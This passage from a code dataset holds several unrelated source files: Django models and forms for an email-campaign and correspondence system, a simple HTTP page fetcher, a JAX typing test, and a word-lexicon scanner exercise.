models.CharField('Titulo', max_length= 80)\n price = models.FloatField('Precio',)\n content = models.TextField()\n image_preview = models.ImageField(upload_to=market_path,)\n image_total = models.ImageField(upload_to=market_path, null=True, blank = True)\n\n def __unicode__(self):\n return self.name\n\n class Meta:\n verbose_name_plural = 'Mercado'\n verbose_name = 'Mercado'\n\ndef import_upload(self, filename):\n return \"%s/images_headers/%s\" % (self.account.name, filename)\n\nclass Image_upload(models.Model):\n account = models.ForeignKey('Account')\n photo = models.ImageField(upload_to=import_upload)\n creation_date = models.DateTimeField(auto_now_add=True)\n\ndef import_crop(self, filename):\n return \"%s/images_crop/%s\" % (self.account.name, filename)\n\nclass Image_crop(models.Model):\n account = models.ForeignKey('Account')\n photo = models.ImageField(upload_to=import_crop)\n creation_date = models.DateTimeField(auto_now_add=True)\n\ndef import_path(self, filename):\n return \"%s/files/%s\" % (self.account.name, filename)\n\n\nStatus = (\n ('Preparada', 'Preparada'),\n ('Enviando...', 'Enviando...'),\n ('Enviada', 'Enviada'),\n ) \n\nclass Campaign(models.Model):\n\n account = models.ForeignKey(Account)\n user = models.ForeignKey(User, related_name=\"campaign_user\")\n last_user = models.ForeignKey(User, related_name=\"campaign_last_user\")\n name = models.CharField('Nombre de la campaña', max_length=100, help_text='Nombre para identificar tus campañas')\n slug = AutoSlugField(populate_from='name', always_update=True)\n template = models.ForeignKey(My_Template)\n subscriberslist = models.ManyToManyField(Subscriberslist, verbose_name='Lista de suscriptores', help_text='Elige entre una o mas listas (De tus correos duplicados solo tomaremos UNO para el envio)', related_name=\"campaign_subscriberslist\")\n suscriberstosend = models.ManyToManyField(Subscribers, verbose_name='A enviar', help_text='Elige entre una o mas listas (De tus correos duplicados solo tomaremos UNO para el envio)', related_name=\"campaign_suscriberstosend\")\n suscriberssend = models.ManyToManyField(Subscribers, verbose_name='Lista de suscriptores', help_text='Elige entre una o mas listas (De tus correos duplicados solo tomaremos UNO para el envio)', related_name=\"campaign_suscriberssend\")\n suscribersopen = models.ManyToManyField(Subscribers, verbose_name='Lista de suscriptores', help_text='Elige entre una o mas listas (De tus correos duplicados solo tomaremos UNO para el envio)', related_name=\"campaign_suscribersopen\")\n suscriberserror = models.ManyToManyField(Subscribers, verbose_name='Lista de suscriptores', help_text='Elige entre una o mas listas (De tus correos duplicados solo tomaremos UNO para el envio)', related_name=\"campaign_suscriberserror\")\n subject = models.CharField('Asunto de la campaña', max_length=100, help_text='Cual es el asunto con el que llegaran los correos de la campaña')\n send_email = models.EmailField('Email de quien envia', help_text='Es el e-mail con el que llegaran tus correos de la campaña, se te enviará un correo de confirmación para activar la campaña.')\n reply_email = models.EmailField('Email para respuestas', help_text='Es el e-mail con el que llegaran las contestaciones de tu campaña.', blank=True, null=True)\n send_name = models.CharField('Nombre de quien envia',max_length=100, help_text='Nombre u organizacion que esta enviando esta campaña')\n creation_date = models.DateTimeField(auto_now_add=True)\n modified_date = models.DateTimeField(auto_now=True)\n send_date = models.DateTimeField(blank=True, null=True)\n status = models.CharField(max_length=100, choices=Status, default='Preparada')\n token_id = models.CharField(max_length=50, unique=True)\n mails_open = models.IntegerField(default=0)\n segment = models.IntegerField('Indica cuantos correos quieres enviar', default=0, help_text='No deben ser mas que tus tokens, y se enviarán de forma aleatoria de tus listas')\n error = models.CharField(max_length=250, blank=True, null=True)\n html = models.TextField(blank=True, null=True)\n\n def send_test(self):\n server = Server.objects.filter(tokens__gt = 1, is_available=True).order_by('?')[0]\n c = Context({\n 'domain': Site.objects.get(id=SITE_ID).domain,\n 'reply': self.reply_email,\n 'unsubscribe': '#',\n 'tracking_pixel': '#'\n })\n render_footer = get_template('app/includes/footer.html').render(c)\n c = Context({\n 'campaign': self.id,\n 'subscriber': 'Nombre De Prueba',\n 'email': self.reply_email,\n 'date': date.today()\n })\n render_template = Template('{% load app_tags %}' + self.html).render(c)\n template = render_template + render_footer\n connection = get_connection(host=str(server.host) , port=str(server.port), username=str(server.username), password=str(server.password), use_tls=str(server.tls))\n connection.open()\n msg = EmailMultiAlternatives(\n subject=self.subject,\n body=template,\n from_email= self.send_name +'<'+server.email+'>', \n to=[self.reply_email],\n connection=connection\n )\n msg.attach_alternative(template, \"text/html\")\n msg.send(True)\n connection.close()\n return server.host, server.port, server.username, server.password, server.tls, server.email\n\n def save(self, *args, **kwargs):\n\n links = []\n def is_valid_url(url):\n import re\n regex = re.compile(\n r'^h?t?t?p?s?:?/?/?' # http:// or https://\n r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\\.)+[A-Z]{2,6}\\.?|' # domain...\n r'localhost|' # localhost...\n r'\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})' # ...or ip\n r'(?::\\d+)?' # optional port\n r'(?:/?|[/?]\\S+)$', re.IGNORECASE)\n return url is not None and regex.search(url)\n\n if self.template:\n soup = BeautifulSoup(self.template.html)\n ases = soup.find_all('a')\n for a in ases:\n url = a['href']\n if is_valid_url(url):\n try: \n link = Link.objects.get(campaign = self, url=url)\n except:\n link = Link()\n link.url = url\n link.save()\n links.append(link)\n a['href'] = \"{{campaign|link_campaign:'\"+str(link.id)+\"'}}?email={{email}}\"\n self.html = soup.prettify()\n super(Campaign, self).save(*args, **kwargs)\n\n for link in links:\n link.campaign = self\n link.save()\n\n def lenght(self):\n total = 0\n for subscriberslist in self.subscriberslist.all():\n total += len(Subscribers.objects.filter(subscriberslist=subscriberslist).distinct())\n return total\n\n def send_all(self):\n if PRODUCTION:\n suscribers = Subscribers.objects.filter(subscriberslist__in = self.subscriberslist.all(), is_subscribe=True).distinct('email')\n else:\n suscribers = Subscribers.objects.filter(subscriberslist__in = self.subscriberslist.all(), is_subscribe=True)\n self.send_date = datetime.now()\n self.status = 'Enviando...'\n self.save()\n sendings = Sendings()\n sendings.campaign = self\n sendings.save()\n for subscriber in suscribers.all():\n if self.account.name == 'zf-polanco' or self.account.name == 'zf-coacalco' or self.account.name == 'zf-universidad' or self.account.name == 'zf-altavista' or self.account.name == 'zf-arboledas' or self.account.name == 'zf-ojodeagua' or self.account.name == 'zf-cancun' or self.account.name == 'zf-lomasverdes':\n account = Account.objects.get(name = 'zf-polanco')\n if account.tokens_suscription:\n account.tokens_suscription -= 1\n account.save()\n else:\n account.tokens_payment -= 1\n account.save()\n else:\n if self.account.tokens_suscription:\n self.account.tokens_suscription -= 1\n self.account.save()\n else:\n self.account.tokens_payment -= 1\n self.account.save()\n self.suscriberstosend.add(subscriber)\n sendings.suscriberstosend.add(subscriber)\n return sendings\n\n def send_segment(self, segment):\n if PRODUCTION:\n suscribers = Subscribers.objects.filter(subscriberslist__in = self.subscriberslist.all(), is_subscribe=True).distinct('email').order_by('?')[0:segment]\n else:\n suscribers = Subscribers.objects.filter(subscriberslist__in = self.subscriberslist.all(), is_subscribe=True).order_by('?')[0:segment]\n self.send_date = datetime.now()\n self.status = 'Enviando...'\n self.save()\n sendings = Sendings()\n sendings.campaign = self\n sendings.save()\n for subscriber in suscribers.all():\n if self.account.name == 'zf-polanco' or self.account.name == 'zf-coacalco' or self.account.name == 'zf-universidad' or self.account.name == 'zf-altavista' or self.account.name == 'zf-arboledas' or self.account.name == 'zf-ojodeagua' or self.account.name == 'zf-cancun' or self.account.name == 'zf-lomasverdes':\n account = Account.objects.get(name = 'zf-polanco')\n if account.tokens_suscription:\n account.tokens_suscription -= 1\n account.save()\n else:\n account.tokens_payment -= 1\n account.save()\n else:\n if self.account.tokens_suscription:\n self.account.tokens_suscription -= 1\n self.account.save()\n else:\n self.account.tokens_payment -= 1\n self.account.save()\n self.suscriberstosend.add(subscriber)\n sendings.suscriberstosend.add(subscriber)\n return sendings\n\n class Meta:\n verbose_name_plural = 'Campañas'\n verbose_name = 'Campañas'\n\n def __unicode__(self):\n return self.name + ' ID: '+ str(self.id)\n\nclass Server(models.Model):\n\n host = models.CharField(max_length=240)\n port = models.CharField(max_length=240)\n username = models.CharField(max_length=240)\n password = models.CharField(max_length=240)\n tls = models.CharField(max_length=240)\n email = models.CharField(max_length=240)\n capacity = models.IntegerField(default=0)\n tokens = models.IntegerField(default=0)\n is_available = models.BooleanField(default=True)\n\n class Meta:\n verbose_name_plural = 'Servidores'\n verbose_name = 'Servidores'\n\nEadmailmx_status = (\n ('Disponible', 'Disponible'),\n ('Ocupado', 'Ocupado'),\n ) \n\nclass Eadmailmx(models.Model):\n status = models.CharField(max_length=100, choices=Eadmailmx_status, default='Disponible')\n last_update = models.DateTimeField(auto_now=True)\n\nSending_status = (\n ('Disponible', 'Disponible'),\n ('Terminada', 'Terminada'),\n ('Con error', 'Con error'),\n )\n\nclass Sendings(models.Model):\n\n campaign = models.ForeignKey('Campaign')\n suscriberstosend = models.ManyToManyField('Subscribers')\n status = models.CharField(max_length=100, choices=Sending_status, default='Disponible')\n error = models.TextField(max_length=250, blank=True, null=True)\n\n def send(self):\n eadmailmx = Eadmailmx.objects.all()[0]\n eadmailmx.status = 'Ocupado'\n eadmailmx.save()\n def get_server(len):\n return Server.objects.filter(tokens__gt = len, is_available=True).order_by('?')[0]\n def true_email(email, account):\n if WhiteList.objects.filter(email=email):\n return True\n if BlackList.objects.filter(email=email):\n return False\n if not validate_email(email):\n if not BlackList.objects.filter(email=email, account=account):\n blackList = BlackList()\n blackList.email = email\n blackList.account = account \n blackList.save()\n return False\n return True\n #verified_email = neverbounce.verify(email)\n #if verified_email.result_code == 0:\n #whiteList = WhiteList()\n #whiteList.email = email\n #whiteList.save()\n #return True\n #else:\n #blackList = BlackList()\n #blackList.email = email\n #blackList.account = account \n #blackList.save()\n #account.hard_bounces()\n #return False\n sendings = Sendings.objects.filter(status = 'Disponible')\n for send in sendings:\n suscribers = send.suscriberstosend.all()[0:50]\n #server = get_server(len(suscribers))\n server = Server.objects.all()[0]\n for subscriber in suscribers:\n if subscriber.is_subscribe:\n emailtrue = true_email(subscriber.email, send.campaign.account)\n if emailtrue:\n c = Context({\n 'domain': Site.objects.get(id=SITE_ID).domain,\n 'reply': send.campaign.reply_email,\n 'unsubscribe': reverse('unsubscribe', args=(subscriber.id, subscriber.email)),\n 'tracking_pixel': ''\n })\n render_footer = get_template('app/includes/footer.html').render(c)\n c = Context({\n 'campaign': send.campaign.id,\n 'subscriber': subscriber.name,\n 'email': subscriber.email,\n 'date': date.today()\n })\n render_template = Template('{% load app_tags %}' + send.campaign.html).render(c)\n template = render_template + render_footer\n connection = get_connection(host=str(server.host) , port=str(server.port), username=str(server.username), password=str(server.password), use_tls=str(server.tls), fail_silently=True)\n connection.open()\n msg = EmailMultiAlternatives(\n subject=send.campaign.subject,\n body=template,\n from_email= send.campaign.send_name +'<'+server.email+'>', \n to=[subscriber.email],\n connection=connection,\n )\n msg.attach_alternative(template, \"text/html\")\n msg.send(False)\n connection.close()\n send.campaign.suscriberssend.add(subscriber)\n send.suscriberstosend.remove(subscriber)\n server.tokens -= 1\n server.save()\n else:\n send.campaign.suscriberserror.add(subscriber)\n send.suscriberstosend.remove(subscriber)\n else:\n send.suscriberstosend.remove(subscriber)\n send.save()\n if len(send.suscriberstosend.all()) == 0:\n send.campaign.status = 'Enviada'\n send.campaign.save()\n send.status = 'Terminada'\n send.save()\n if Sendings.objects.filter(status = 'Disponible'):\n self.send()\n else:\n eadmailmx.status = 'Disponible'\n eadmailmx.save()\n\n class Meta:\n verbose_name_plural = 'Envios'\n verbose_name = 'Envios'\n\nclass Link(models.Model):\n\n url = models.CharField(max_length=200,)\n campaign = models.ForeignKey(Campaign, blank=True, null=True)\n clicks = models.IntegerField(default=0)\n suscribers = models.ManyToManyField(Subscribers, blank=True)\n\nclass BlackList(models.Model):\n\n email = models.CharField(max_length=250)\n creation_date = models.DateTimeField(auto_now_add=True)\n account = models.ForeignKey('Account', null=True, blank = True, on_delete=models.SET_NULL)\n\nclass WhiteList(models.Model):\n\n email = models.CharField(max_length=250)\n creation_date = models.DateTimeField(auto_now_add=True)\n\nclass Import(models.Model):\n\n file = models.FileField(upload_to=import_path, verbose_name='Importar', help_text='Elige un archivo')\n account = models.ForeignKey('Account', null=True, blank = True)\n\n def get_rows_info(self):\n wb = load_workbook(filename= self.file, use_iterators=True)\n ws = wb.get_sheet_by_name(wb.get_sheet_names()[0])\n cont_row = 0\n out = 0\n rows_array = []\n cells_array = []\n count_cell = 0\n for row in ws.iter_rows():\n count_cell = 0\n for cell in row:\n try:\n if validate_email(cell.value):\n out = 1\n break\n except:\n pass\n count_cell += 1\n if out:\n break\n cont_row += 1\n pass_row = 0\n count = 0\n for row in ws.iter_rows():\n if pass_row >= cont_row:\n for cell in row:\n cells_array.append(cell.value)\n rows_array.append(cells_array)\n cells_array = []\n if count >= 3:\n break\n count += 1 \n pass_row += 1\n list_columns = []\n list_rows = []\n for y in range(0, len(rows_array[0])):\n list_columns = []\n for x in range(0, len(rows_array)):\n if rows_array[x][y]:\n list_columns.append(rows_array[x][y])\n else:\n list_columns.append('-')\n list_rows.append(list_columns)\n return ({\n \"list_rows\": list_rows,\n \"count_cell\": count_cell,\n \"cont_row\":cont_row,\n })\n\n def upload_file(self, subscriberslist, name, email, initial_row):\n wb = load_workbook(filename= self.file, use_iterators=True)\n ws = wb.get_sheet_by_name(wb.get_sheet_names()[0])\n row_len = 0\n for row in ws.iter_rows():\n new_name = ''\n new_email = ''\n if int(initial_row)<=row_len:\n for cell in row:\n if cell.column == int(name)+1:\n new_name = cell.value\n if cell.column == int(email)+1:\n new_email = cell.value\n subscriberslist.add_suscriber(new_email, new_name)\n row_len += 1\n return True\n\n\nclass Huella(models.Model):\n\n gimnasio = models.CharField(max_length=240)\n huella = models.TextField()\n \n class Meta:\n verbose_name_plural = 'Huellas'\n verbose_name = 'Huella'\n\n ","sub_path":"project/app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":32938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"22970460","text":"# parser.py\nimport requests\n\n# HTTP GET Request\nreq = requests.get('https://github.com/YHPK/Pygame')\n\n# Get HTML Source\nhtml = req.text\n\n# Get HTML Header\nheader = req.headers\n\n# Get HTML Status ( 200 : normal)\nstatus = req.status_code\n\n# Does HTTP is normal (True/ False)\nis_ok = req.ok\n\nprint (html)\nprint (header)\nprint (status)\nprint (is_ok)\n","sub_path":"Study/parser_req.py","file_name":"parser_req.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"493475525","text":"# Copyright 2022 The JAX Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"\nTyping tests\n------------\nThis test is meant to be both a runtime test and a static type annotation test,\nso it should be checked with pytype/mypy as well as being run with pytest.\n\"\"\"\nfrom typing import Any, Optional, Union\n\nimport jax\nfrom jax._src import core\nfrom jax._src import test_util as jtu\nfrom jax._src import typing\nfrom jax import lax\nimport jax.numpy as jnp\n\nfrom jax._src.array import ArrayImpl\n\nfrom absl.testing import absltest\nimport numpy as np\n\n\n# DTypeLike is meant to annotate inputs to np.dtype that return\n# a valid JAX dtype, so we test with np.dtype.\ndef dtypelike_to_dtype(x: typing.DTypeLike) -> typing.DType:\n return np.dtype(x)\n\n\n# ArrayLike is meant to annotate object that are valid as array\n# inputs to jax primitive functions; use convert_element_type here\n# for simplicity.\ndef arraylike_to_array(x: typing.ArrayLike) -> typing.Array:\n return lax.convert_element_type(x, np.result_type(x))\n\n\nclass HasDType:\n dtype: np.dtype\n def __init__(self, dt):\n self.dtype = np.dtype(dt)\n\nfloat32_dtype = np.dtype(\"float32\")\n\n\n# Avoid test parameterization because we want to statically check these annotations.\nclass TypingTest(jtu.JaxTestCase):\n\n def testDTypeLike(self) -> None:\n out1: typing.DType = dtypelike_to_dtype(\"float32\")\n self.assertEqual(out1, float32_dtype)\n\n out2: typing.DType = dtypelike_to_dtype(np.float32)\n self.assertEqual(out2, float32_dtype)\n\n out3: typing.DType = dtypelike_to_dtype(jnp.float32)\n self.assertEqual(out3, float32_dtype)\n\n out4: typing.DType = dtypelike_to_dtype(np.dtype('float32'))\n self.assertEqual(out4, float32_dtype)\n\n out5: typing.DType = dtypelike_to_dtype(HasDType(\"float32\"))\n self.assertEqual(out5, float32_dtype)\n\n def testArrayLike(self) -> None:\n out1: typing.Array = arraylike_to_array(jnp.arange(4))\n self.assertArraysEqual(out1, jnp.arange(4))\n\n out2: typing.Array = jax.jit(arraylike_to_array)(jnp.arange(4))\n self.assertArraysEqual(out2, jnp.arange(4))\n\n out3: typing.Array = arraylike_to_array(np.arange(4))\n self.assertArraysEqual(out3, jnp.arange(4), check_dtypes=False)\n\n out4: typing.Array = arraylike_to_array(True)\n self.assertArraysEqual(out4, jnp.array(True))\n\n out5: typing.Array = arraylike_to_array(1)\n self.assertArraysEqual(out5, jnp.array(1))\n\n out6: typing.Array = arraylike_to_array(1.0)\n self.assertArraysEqual(out6, jnp.array(1.0))\n\n out7: typing.Array = arraylike_to_array(1 + 1j)\n self.assertArraysEqual(out7, jnp.array(1 + 1j))\n\n out8: typing.Array = arraylike_to_array(np.bool_(0))\n self.assertArraysEqual(out8, jnp.bool_(0))\n\n out9: typing.Array = arraylike_to_array(np.float32(0))\n self.assertArraysEqual(out9, jnp.float32(0))\n\n def testArrayInstanceChecks(self):\n def is_array(x: typing.ArrayLike) -> Union[bool, typing.Array]:\n return isinstance(x, typing.Array)\n\n x = jnp.arange(5)\n\n self.assertFalse(is_array(1.0))\n self.assertTrue(jax.jit(is_array)(1.0))\n self.assertTrue(is_array(x))\n self.assertTrue(jax.jit(is_array)(x))\n self.assertTrue(jnp.all(jax.vmap(is_array)(x)))\n\n def testAnnotations(self):\n # This test is mainly meant for static type checking: we want to ensure that\n # Tracer and ArrayImpl are valid as array.Array.\n def f(x: Any) -> Optional[typing.Array]:\n if isinstance(x, core.Tracer):\n return x\n elif isinstance(x, ArrayImpl):\n return x\n else:\n return None\n\n x = jnp.arange(10)\n y = f(x)\n self.assertArraysEqual(x, y)\n\n\nif __name__ == '__main__':\n absltest.main(testLoader=jtu.JaxTestLoader())\n","sub_path":"tests/typing_test.py","file_name":"typing_test.py","file_ext":"py","file_size_in_byte":4187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"26731838","text":"\ndef convert_numbers(s):\n\tif s.isdigit():\n\t\treturn int(s)\n\telse:\n\t\treturn s\n#\ttry:\n#\t\treturn int(s)\n#\texcept ValueError:\n#\t\treturn s\n\n\t\ndef scan(phrase):\n\t\n\tdirections = ['north', 'east', 'south', 'west', 'up', 'down', 'left', 'right', 'back']\n\tverbs = ['stop', 'kill', 'eat', 'go', 'jump']\n\tstops = ['the', 'in', 'of', 'at', 'from', 'it']\n\tnouns = ['door', 'bear', 'princess', 'cabinet']\n\tnumbers = [1234, 3, 91234]\n\tscanned = []\n\tlexicon = {'direction':directions, 'verb':verbs, 'stop':stops, 'noun':nouns, 'number':numbers}\n\t\n\tlc_phrase = phrase.lower()\n\twords = lc_phrase.split()\n\t\n\tfor x in words:\n\t\tx = convert_numbers(x)\n\t\tfor y in lexicon:\n\t\t\tfound = False\n\t\t\t\n\t\t\tif x in lexicon[y]:\n\t\t\t\tscanned.append((y,x))\n\t\t\t\tfound = True\n\t\t\t\tbreak\n\t\n\t\tif not found:\n\t\t\tscanned.append(('error', x))\t\n\t\n\treturn scanned\n\t\nscan(\"bear IAS princess\")","sub_path":"Ex48/ex48/lexicon.py","file_name":"lexicon.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"619583170","text":"############\n## COMMON ##\n############\nfrom collections import OrderedDict\nfrom sys import stderr\nimport settings\nfrom django.core.exceptions import ValidationError\nfrom datetime import datetime\nfrom datetime import date\nfrom django.forms import widgets\nfrom django.forms.models import inlineformset_factory, BaseInlineFormSet\nfrom django.forms.widgets import Textarea, HiddenInput\nfrom django.http.request import QueryDict\nfrom django.utils import timezone\nfrom django.utils.translation import ugettext_lazy as _\nfrom docengine.common.fields.htmlfield import TinymceWidget\nfrom tinymce.widgets import TinyMCE\nimport re\n\n############\n## MODELS ##\n############\nfrom django.db.models.query_utils import Q\nfrom client.models import ClientUser\nfrom communication.models import Correspondence, Message\nfrom django.contrib.auth.models import User\n\n\n###########\n## FORMS ##\n###########\nfrom communication.models.message import InternalRecipient, ExternalRecipient\nfrom ch_commons.forms import CustomAnalystMultipleField\n\n__author__ = 'asifalidauva'\n\nfrom django import forms\n\n\nclass CustomClientUserMultipleField(forms.ModelMultipleChoiceField):\n def label_from_instance(self, obj):\n return obj.first_name + \" \" + obj.last_name + \" <\" + obj.email + \"> (\" + obj.client.name + \")\"\n\n\nclass CorrespondenceForm(forms.ModelForm):\n\n form_placeholders = OrderedDict((\n ('%%client_company_name', 'Client Company Name: Institutional Investors Inc.,'),\n ('%%client_name', 'Client Individual Name: John Smith,'),\n ('%%client_username', 'Client OpsD User Name: jsmith@abc.com,'),\n ('%%manager_name', 'Manager Name: Alpha Partners,'),\n ('%%fund_name', 'Fund Name: Alpha Capital Fund LP,'),\n ('%%fund_name_with_reviewlvl', 'Fund Name with review level: Alpha Capital Fund LP (OpsReview Level 2 - Conference Call),'),\n ('%%review_analyst', 'Lead Analyst: Chris Gillam,'),\n ('%%current_date', 'Current Date: July 26, 2014,'),\n ('%%current_user', 'Current User: Taha Laique,'),\n ('%%curr_user_email', 'Current User Email: tlaique@castlehallalternatives.com,'),\n ('%%customer_rel_manager', 'Customer Relationship Manager: Chris Gillam,'),\n ('%%customer_rel_manager_email', 'Customer Relationship Manager Email: cgillam@castlehallalternatives.com'),\n ('%%update_title', 'Update Title: updates_update\\'title'),\n ('%%update_summary', 'Update Summary: updates_update\\'summary'),\n ('%%update_link', 'Update Link: updates_update\\'text'),\n ('%%update_date', 'Update Add Date: updates_update\\'add_date'),\n ('%%update_manager', 'Update Manager Index Id: updates_update\\'manager_id'),\n\n ))\n\n body = forms.CharField(widget=TinymceWidget(\n attrs={\n 'cols': 200,\n 'rows': 10\n },\n mce_attrs={\n 'plugins': \"code table fullpage\",\n 'toolbar': \"insertfile undo redo | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | table | code \",\n 'setup': 'tinymceReady'\n }),\n required=True\n )\n\n class Meta:\n model = Correspondence\n exclude = []\n\nclass CorrespondenceFilterForm(forms.Form):\n\n group_by = forms.CharField(\n required=False,\n widget=forms.HiddenInput)\n\n subjectSearch = forms.CharField(\n max_length = 15,\n required = False,\n label = 'Subject',\n widget=forms.HiddenInput)\n\n nameSearch = forms.CharField(\n max_length = 15,\n required = False,\n label = 'Name',\n widget=forms.HiddenInput)\n\n type = forms.MultipleChoiceField(\n label=\"Type\",\n choices=Correspondence.CORRESPONDENCE_TYPE_CHOICES,\n widget=forms.CheckboxSelectMultiple,\n required=False)\n\n def get_list_fieldnames(self, **kwargs):\n field_list = [{'type': 'field',\n 'title': _('Type'),\n 'attr': 'type'},\n {'type': 'field',\n 'title': _('Name'),\n 'attr': 'name'},\n {'type': 'field',\n 'title': _('Subject'),\n 'attr': 'subject'},\n {'type': 'field',\n 'title': _('Sent From'),\n 'attr': 'sent_from'},\n {'type': 'function',\n 'title': _('For Each Update'),\n 'attr': 'for_each_update',\n 'function': lambda x, y: x.get_update_type_display() if x.is_complex else '-'},\n {'type': 'icon',\n 'title': '',\n 'attr': 'edit',\n 'value': 'pk',\n 'icon_type': 'edit',\n 'perm': (kwargs.get(\"user\").has_perm(\"communication.change_correspondence\") if kwargs.get(\"user\", False) else False)},\n {'type': 'icon',\n 'title': '',\n 'attr': 'delete',\n 'value': 'pk',\n 'icon_type': 'delete',\n 'perm': (kwargs.get(\"user\").has_perm(\"communication.delete_correspondence\") if kwargs.get(\"user\", False) else False)}]\n\n return field_list\n\n def get_icon_fields(self):\n return [['view-message','pk']]\n\n\nclass MessageFilterForm(forms.Form):\n\n group_by = forms.CharField(\n required=False,\n widget=forms.HiddenInput)\n\n clientSearch = forms.CharField(\n max_length = 15,\n required = False,\n label = 'Client Search',\n widget=forms.HiddenInput)\n\n toEmailSearch = forms.CharField(\n max_length = 15,\n required = False,\n label = 'Sent To',\n widget=forms.HiddenInput)\n\n fromEmailSearch = forms.CharField(\n max_length = 15,\n required = False,\n label = 'Sent From',\n widget=forms.HiddenInput)\n\n status = forms.MultipleChoiceField(\n label=\"Status\",\n choices=Message.EMAIL_MESSAGE_STATUS_CHOICES,\n widget=forms.CheckboxSelectMultiple,\n required=False)\n\n received_on = forms.CharField(\n max_length = 15,\n required = False,\n label = 'Received On',\n widget=forms.HiddenInput)\n\n def get_list_fieldnames(self, **kwargs):\n field_list = [{'type': 'field',\n 'title': _('Type'),\n 'attr': 'type'},\n {'type': 'field',\n 'title': _('Template'),\n 'attr': 'template'},\n {'type': 'field',\n 'title': _('From'),\n 'attr': 'from_name'},\n {'type': 'function',\n 'title': _('Date'),\n 'attr': 'add_date',\n 'function': lambda x, y: x.add_date.strftime(\"%Y-%m-%d\") if x.add_date else ''},\n {'type': 'function',\n 'title': _('To'),\n 'attr': 'to',\n 'function': lambda x,y: \", \".join([recipient.recipient.email for recipient in x.recipients])},\n {'type': 'field',\n 'title': _('Subject'),\n 'attr': 'subject'},\n {'type': 'function',\n 'title': _('Status'),\n 'attr': 'status',\n 'function': lambda x,y: x.get_status_display()},\n {'type': 'icon',\n 'title': '',\n 'attr': 'edit',\n 'value': 'pk',\n 'icon_type': 'edit',\n 'perm': (kwargs.get(\"user\").has_perm(\"communication.change_message\") if kwargs.get(\"user\", False) else False)},\n {'type': 'icon',\n 'title': '',\n 'attr': 'delete',\n 'value': 'pk',\n 'icon_type': 'delete',\n 'perm': (kwargs.get(\"user\").has_perm(\"communication.delete_message\") if kwargs.get(\"user\", False) else False)}]\n\n return field_list\n\n def get_icon_fields(self):\n return [['view-message','pk']]\n\n\nclass EmailMessageForm(forms.ModelForm):\n\n class Meta:\n model = Message\n exclude = []\n\n body = forms.CharField(required=True)\n template_type = forms.CharField(\n widget=HiddenInput,\n required=False\n )\n\n def __init__(self, *args, **kwargs):\n # Custom kwargs are popped out prior to super call\n request = kwargs.pop(\"request\", None)\n type = kwargs.pop(\"type\", \"N\")\n clients = kwargs.pop(\"clients\", None)\n client_message = kwargs.pop(\"client_message\", False)\n client_users_required = kwargs.pop(\"client_users_required\", False)\n initials = kwargs.get(\"initial\", dict())\n\n if client_message:\n setattr(self.Meta, \"exclude\", [\"to\", \"client\", \"status\", \"ch_users\"])\n else:\n setattr(self.Meta, \"exclude\", [\"to\", \"client\", \"status\", \"client_users\"])\n\n super(EmailMessageForm, self).__init__(*args, **kwargs)\n\n # Set for all\n self.fields[\"type\"].initial = type\n\n if initials.get(\"template\", None) is not None and kwargs.get(\"instance\") is None:\n # Populate the form with the template data\n template = initials.get(\"template\")\n\n self.fields[\"template\"].initial = template\n self.fields[\"template_type\"].initial = template.type\n self.fields[\"from_name\"].initial = template.sent_from_name\n self.fields[\"from_email\"].initial = template.sent_from\n self.fields[\"bcc\"].initial = template.bcc if template.bcc is not None else \"\"\n self.fields[\"cc\"].initial = template.cc if template.cc is not None else \"\"\n self.fields[\"subject\"].initial = template.subject\n self.fields[\"body\"].initial = template.body\n\n if self.instance is not None and self.instance.template is not None:\n self.fields[\"template_type\"].initial = self.instance.template.type\n\n # Based on a field in the activation form, message form will engage/disengage required check\n # for field \"client_users\"\n if client_users_required:\n self.fields[\"client_users\"].required = True\n\n if clients is not None:\n # Filter the client users according to the funds, also exclude CHA test accounts\n self.fields[\"client_users\"].queryset = ClientUser.objects.filter(client__in=clients)\\\n .exclude(username__startswith=\"test@\")\\\n .exclude(email=\"\")\n\n if request is not None:\n self.fields[\"creator\"].initial = request.user\n\n # Assuming that this form will be used in multiple places, customize it specifically for the activation process\n if client_message:\n # Post activation message, there are some fields to be hidden\n self.fields[\"template\"].widget = forms.HiddenInput()\n self.fields[\"creator\"].widget = forms.HiddenInput()\n self.fields[\"engagementtask\"].widget = forms.HiddenInput()\n self.fields[\"type\"].widget = forms.HiddenInput()\n else:\n # In the add message form, there are some fields hidden/unused\n ch_users = User.objects.filter(\n Q(is_staff=True),\n Q(is_active=True),\n ~Q(email=\"\"),\n ~Q(first_name=\"\"),\n ~Q(last_name=\"\"),\n ~Q(email__istartswith=\"test\")\n ).order_by(\"first_name\")\n client_users = ClientUser.objects.filter(\n Q(is_active=True),\n ~Q(email=\"\"),\n ~Q(first_name=\"\"),\n ~Q(last_name=\"\"),\n ~Q(email__istartswith=\"test\")\n ).order_by(\"first_name\")\n\n self.fields[\"template\"] = forms.ModelChoiceField(\n label=\"Template\",\n queryset=Correspondence.objects.filter(type__in=[\n Correspondence.MISCELLANEOUS,\n Correspondence.ACTIVATION,\n Correspondence.NEWSLETTER\n ]\n ),\n required=False\n )\n self.fields[\"ch_users\"] = CustomAnalystMultipleField(\n label=\"Staff\",\n queryset=ch_users,\n required=False\n )\n self.fields[\"client_users\"] = CustomClientUserMultipleField(\n label=\"Client Users\",\n queryset=client_users,\n required=False\n )\n self.fields[\"from_email\"].required = True\n self.fields[\"creator\"].widget = forms.HiddenInput()\n self.fields[\"engagementtask\"].widget = forms.HiddenInput()\n self.fields[\"engagementtask\"].required = False\n 